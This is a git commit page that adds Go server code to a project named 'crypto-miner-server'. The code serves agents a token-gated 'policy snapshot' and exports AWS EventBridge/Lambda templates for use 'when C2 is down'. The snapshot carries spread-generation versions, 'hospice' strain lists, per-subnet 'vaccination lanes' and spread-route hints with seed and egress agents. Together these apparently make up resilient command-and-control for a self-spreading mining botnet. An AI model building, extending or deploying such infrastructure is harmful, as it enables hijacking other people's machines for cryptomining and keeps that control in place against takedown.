Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
AetherForge
308
server/internal/api/policy_snapshot.go
Normal file
308
server/internal/api/policy_snapshot.go
Normal file
@@ -0,0 +1,308 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// PolicySnapshot is the degraded-mode policy bundle agents poll or receive via EventBridge relay.
|
||||
type PolicySnapshot struct {
|
||||
GenesisVersion int `json:"genesis_version"`
|
||||
HospiceList []string `json:"hospice_list"`
|
||||
VaccinationLanes []PolicyVaccinationLane `json:"vaccination_lanes"`
|
||||
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||||
PolicyPollURL string `json:"policy_poll_url,omitempty"`
|
||||
GeneratedAt string `json:"generated_at,omitempty"`
|
||||
}
|
||||
|
||||
// PolicyVaccinationLane maps a paused subnet to a Path Tracer vaccination route hint.
|
||||
type PolicyVaccinationLane struct {
|
||||
Subnet string `json:"subnet"`
|
||||
Lane json.RawMessage `json:"lane,omitempty"`
|
||||
}
|
||||
|
||||
// PolicyFanoutConfig supplies token, relay URL, and public base for snapshot URLs.
|
||||
type PolicyFanoutConfig struct {
|
||||
Token string
|
||||
RelayURL string
|
||||
PublicBaseURL func() string
|
||||
}
|
||||
|
||||
func policySnapshotPollURL(cfg PolicyFanoutConfig) string {
|
||||
token := strings.TrimSpace(cfg.Token)
|
||||
if token == "" {
|
||||
return ""
|
||||
}
|
||||
base := strings.TrimRight(strings.TrimSpace(cfgPublicBase(cfg)), "/")
|
||||
if base == "" {
|
||||
base = "http://127.0.0.1:8989"
|
||||
}
|
||||
return base + "/api/v1/public/policy-snapshot/" + token
|
||||
}
|
||||
|
||||
func cfgPublicBase(cfg PolicyFanoutConfig) string {
|
||||
if cfg.PublicBaseURL == nil {
|
||||
return ""
|
||||
}
|
||||
return cfg.PublicBaseURL()
|
||||
}
|
||||
|
||||
// BuildPolicySnapshot assembles genesis version, hospice strains, and vaccination lanes.
|
||||
func BuildPolicySnapshot(db *dbpkg.Database, pathTracer *PathTracerHandler, cfg PolicyFanoutConfig) (PolicySnapshot, error) {
|
||||
snap := PolicySnapshot{
|
||||
EventBridgeRelayURL: strings.TrimSpace(cfg.RelayURL),
|
||||
PolicyPollURL: policySnapshotPollURL(cfg),
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
if db == nil {
|
||||
return snap, nil
|
||||
}
|
||||
gen, err := db.MaxSpreadGeneration()
|
||||
if err != nil {
|
||||
return snap, err
|
||||
}
|
||||
snap.GenesisVersion = gen
|
||||
hospiceSet, err := db.HospiceStrainSet()
|
||||
if err != nil {
|
||||
return snap, err
|
||||
}
|
||||
for id := range hospiceSet {
|
||||
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
|
||||
snap.HospiceList = append(snap.HospiceList, id)
|
||||
}
|
||||
}
|
||||
prefixes, err := db.ListPausedSubnetPrefixes()
|
||||
if err != nil {
|
||||
return snap, err
|
||||
}
|
||||
for _, prefix := range prefixes {
|
||||
entry := PolicyVaccinationLane{Subnet: prefix}
|
||||
if pathTracer != nil {
|
||||
if hint := pathTracer.RecommendSpreadRoute(prefix, "", ""); hint != nil {
|
||||
if raw, err := json.Marshal(toSpreadRouteHintDTO(hint)); err == nil {
|
||||
entry.Lane = raw
|
||||
}
|
||||
}
|
||||
}
|
||||
snap.VaccinationLanes = append(snap.VaccinationLanes, entry)
|
||||
}
|
||||
return snap, nil
|
||||
}
|
||||
|
||||
type spreadRouteHintDTO struct {
|
||||
SeedAgentID string `json:"seed_agent_id,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
}
|
||||
|
||||
func toSpreadRouteHintDTO(h *spreadrouter.SpreadRouteHint) spreadRouteHintDTO {
|
||||
if h == nil {
|
||||
return spreadRouteHintDTO{}
|
||||
}
|
||||
return spreadRouteHintDTO{
|
||||
SeedAgentID: h.SeedAgentID,
|
||||
EgressAgentID: h.EgressAgentID,
|
||||
JoinLane: h.JoinLane,
|
||||
Score: h.Score,
|
||||
ClearanceLevel: h.ClearanceLevel,
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) SetPolicyFanoutConfig(token, relayURL string, publicBase func() string) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.policySnapshotToken = strings.TrimSpace(token)
|
||||
h.policyEventBridgeRelayURL = strings.TrimSpace(relayURL)
|
||||
h.policyPublicBaseURL = publicBase
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) policyFanoutConfigLocked() PolicyFanoutConfig {
|
||||
return PolicyFanoutConfig{
|
||||
Token: h.policySnapshotToken,
|
||||
RelayURL: h.policyEventBridgeRelayURL,
|
||||
PublicBaseURL: h.policyPublicBaseURL,
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) policyFanoutSpreadFields() map[string]interface{} {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
h.mu.RLock()
|
||||
cfg := h.policyFanoutConfigLocked()
|
||||
pollURL := policySnapshotPollURL(cfg)
|
||||
relay := strings.TrimSpace(cfg.RelayURL)
|
||||
h.mu.RUnlock()
|
||||
if pollURL == "" && relay == "" {
|
||||
return nil
|
||||
}
|
||||
out := map[string]interface{}{}
|
||||
if pollURL != "" {
|
||||
out["policy_snapshot_poll_url"] = pollURL
|
||||
}
|
||||
if relay != "" {
|
||||
out["eventbridge_relay_url"] = relay
|
||||
}
|
||||
if h.db != nil {
|
||||
if gen, err := h.db.MaxSpreadGeneration(); err == nil {
|
||||
out["genesis_version"] = gen
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *PublicHandler) BindPolicySnapshot(buildFn func() (PolicySnapshot, error), tokenFn func() string) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.policySnapshotFn = buildFn
|
||||
h.policySnapshotTokenFn = tokenFn
|
||||
}
|
||||
|
||||
// GET /api/v1/public/policy-snapshot/{token}
|
||||
func (h *PublicHandler) PolicySnapshot(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.policySnapshotFn == nil || h.policySnapshotTokenFn == nil {
|
||||
http.Error(w, "policy snapshot unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
want := strings.TrimSpace(h.policySnapshotTokenFn())
|
||||
got := strings.TrimSpace(chi.URLParam(r, "token"))
|
||||
if want == "" || got != want {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
snap, err := h.policySnapshotFn()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, snap)
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) BindPolicyFanout(pathTracer *PathTracerHandler, cfgFn func() PolicyFanoutConfig) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.policyPathTracer = pathTracer
|
||||
h.policyFanoutCfgFn = cfgFn
|
||||
}
|
||||
|
||||
type policyFanoutExportRequest struct {
|
||||
WebhookURL string `json:"webhook_url"`
|
||||
RelayURL string `json:"relay_url"`
|
||||
ServerURL string `json:"server_url"`
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/policy-fanout
|
||||
func (h *SpreadHandler) GetPolicyFanout(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.policyFanoutCfgFn == nil {
|
||||
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
cfg := h.policyFanoutCfgFn()
|
||||
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"snapshot": snap,
|
||||
"poll_url": snap.PolicyPollURL,
|
||||
"templates": policyFanoutTemplatePaths(),
|
||||
"static_templates": "/spread/aws/",
|
||||
"export_endpoint": "/api/v1/spread/policy-fanout-export",
|
||||
"instructions": "Deploy CloudFormation or EventBridge rule + Lambda; Lambda POSTs snapshots to your relay URL or agents poll poll_url directly.",
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/spread/policy-fanout-export
|
||||
func (h *SpreadHandler) ExportPolicyFanout(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.policyFanoutCfgFn == nil {
|
||||
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req policyFanoutExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid json", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cfg := h.policyFanoutCfgFn()
|
||||
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
if serverURL == "" {
|
||||
serverURL = strings.TrimRight(cfgPublicBase(cfg), "/")
|
||||
}
|
||||
if serverURL == "" {
|
||||
serverURL = "http://127.0.0.1:8989"
|
||||
}
|
||||
webhookURL := strings.TrimSpace(req.WebhookURL)
|
||||
if webhookURL == "" {
|
||||
webhookURL = strings.TrimSpace(req.RelayURL)
|
||||
}
|
||||
if webhookURL == "" {
|
||||
webhookURL = strings.TrimSpace(cfg.RelayURL)
|
||||
}
|
||||
pollURL := snap.PolicyPollURL
|
||||
if pollURL == "" {
|
||||
pollURL = policySnapshotPollURL(cfg)
|
||||
}
|
||||
snapJSON, _ := json.MarshalIndent(snap, "", " ")
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": serverURL,
|
||||
"{{POLICY_POLL_URL}}": pollURL,
|
||||
"{{WEBHOOK_URL}}": webhookURL,
|
||||
"{{SNAPSHOT_JSON}}": string(snapJSON),
|
||||
}
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "spread", "aws", "policy-fanout")
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, "aetherforge-policy-fanout.zip", data)
|
||||
}
|
||||
|
||||
func policyFanoutTemplatePaths() []string {
|
||||
return []string{
|
||||
"templates/spread/aws/policy-fanout/cloudformation.json",
|
||||
"templates/spread/aws/policy-fanout/eventbridge-rule.json",
|
||||
"templates/spread/aws/policy-fanout/lambda/index.js",
|
||||
"templates/spread/aws/policy-fanout/README.txt",
|
||||
}
|
||||
}
|
||||
|
||||
func buildFanoutBundleJSON(cfg PolicyFanoutConfig, snap PolicySnapshot) ([]byte, error) {
|
||||
doc := map[string]interface{}{
|
||||
"poll_url": snap.PolicyPollURL,
|
||||
"eventbridge_relay_url": snap.EventBridgeRelayURL,
|
||||
"snapshot": snap,
|
||||
"token": strings.TrimSpace(cfg.Token),
|
||||
}
|
||||
return json.MarshalIndent(doc, "", " ")
|
||||
}
|
||||
|
||||
func fanoutBundleJSONOrError(cfg PolicyFanoutConfig, snap PolicySnapshot) string {
|
||||
raw, err := buildFanoutBundleJSON(cfg, snap)
|
||||
if err != nil {
|
||||
return fmt.Sprintf(`{"error":%q}`, err.Error())
|
||||
}
|
||||
return string(raw)
|
||||
}
|
||||
Reference in New Issue
Block a user